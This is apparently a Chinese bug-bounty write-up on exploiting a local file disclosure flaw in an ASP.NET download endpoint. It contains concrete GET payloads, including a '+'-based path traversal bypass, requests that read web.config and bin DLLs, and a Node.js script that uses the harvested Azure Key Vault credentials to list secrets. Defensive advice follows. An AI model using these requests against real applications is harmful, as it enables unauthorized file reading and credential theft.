挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀
字数 1589 2025-08-18 11:37:50
ASP.NET 应用程序本地文件泄露(LFD)漏洞利用深度解析
漏洞概述
ASP.NET 应用程序中的本地文件泄露(Local File Disclosure, LFD)漏洞允许攻击者读取服务器上的敏感文件,包括配置文件、源代码和加密密钥等。本案例展示了如何通过精心构造的请求逐步深入利用此类漏洞,最终获取Azure Key Vault访问权限,造成严重安全影响。
漏洞发现与利用流程
1. 初始发现
- 目标URL:
https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF... - 初步观察: 参数
f似乎控制下载文件,但值被加密 - 旧版本发现: 同一端点未加密版本
https://domain.com/utility/download.aspx?f=file1234.docx
2. 基本文件读取测试
尝试读取ASP.NET文件:
GET /utility/download.aspx?f=download.aspx
成功返回ASPX文件内容,但无法直接读取.aspx.cs源码文件。
技术说明:
.aspx文件包含HTML标记和服务器端脚本.aspx.cs是代码后置文件,包含C#逻辑代码- 运行时编译为DLL存放在
/bin目录
3. 目录遍历绕过
初始尝试使用../被服务器拒绝(400错误),通过fuzz测试发现+字符可绕过限制:
GET /utility/download.aspx?f=.[+]./utility/download.aspx
4. 读取ASHX处理器文件
ASHX是一般处理程序文件,可能包含敏感逻辑:
GET /utility/download.aspx?f=example.ashx
响应包含C#代码和命名空间信息,可用于定位相关DLL。
5. 获取编译后的DLL
ASP.NET应用程序编译后的类存储在/bin目录:
GET /utility/download.aspx?f=bin/redacted.dll
使用dnSpy等工具反编译可恢复应用程序源代码。
6. 读取web.config文件
web.config是ASP.NET核心配置文件,包含大量敏感信息:
GET /utility/download.aspx?f=web.config
典型敏感内容包括:
- 数据库连接字符串
- 应用程序密钥
- Azure Key Vault凭据
- API密钥和其他配置
7. Azure Key Vault利用
从web.config获取的Azure凭据示例:
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
使用Node.js脚本访问Key Vault:
var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;
// 使用从web.config获取的凭据
var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";
// 认证和获取访问令牌
var authenticator = function (challenge, callback) {
var context = new AuthenticationContext(challenge.authorization);
return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
if (err) throw err;
var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
return callback(null, authorizationValue);
});
};
// 创建Key Vault客户端并获取机密
var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);
client.getSecrets(vaultUri).then(function(value) {
console.log(value); // 输出获取的机密信息
});
关键利用技术总结
-
文件读取顺序:
- 从可访问的ASPX/ASHX文件开始
- 定位相关DLL文件路径
- 获取web.config配置文件
- 提取第三方服务凭据(如Azure Key Vault)
-
绕过技术:
- 使用特殊字符(如
+)绕过路径过滤 - 利用URL编码尝试不同遍历方式
- 使用特殊字符(如
-
敏感信息定位:
/bin目录下的DLL文件包含编译后代码web.config是核心配置文件- 第三方服务凭据通常存储在配置中
防御措施
-
输入验证:
- 严格验证文件路径参数
- 禁止目录遍历字符
- 使用白名单限制可访问文件
-
配置保护:
- 加密敏感配置节
- 使用Azure Key Vault等安全存储替代明文存储
- 限制配置文件权限
-
最小权限原则:
- 应用程序运行账户仅需必要权限
- 限制对
/bin和配置文件的访问
-
安全开发实践:
- 避免在代码中硬编码凭据
- 使用安全的文件操作API
- 定期安全审计和渗透测试
时间线与报告要点
- 漏洞发现与初步验证
- 逐步深入利用过程记录
- 影响范围评估(证明可访问敏感系统)
- 清晰的重现步骤
- 修复建议
工具推荐
-
测试工具:
- Burp Suite - 用于请求拦截和fuzz测试
- OWASP ZAP - 自动化漏洞扫描
-
分析工具:
- dnSpy - .NET程序集反编译
- ILSpy - 替代的.NET反编译工具
-
Azure相关:
- Azure CLI - 管理Azure资源
- Azure Key Vault Explorer - 可视化查看Key Vault内容
通过系统性地利用ASP.NET应用程序的文件读取漏洞,攻击者可以逐步深入获取系统控制权。开发人员必须重视此类漏洞,实施多层防御措施保护敏感信息和系统安全。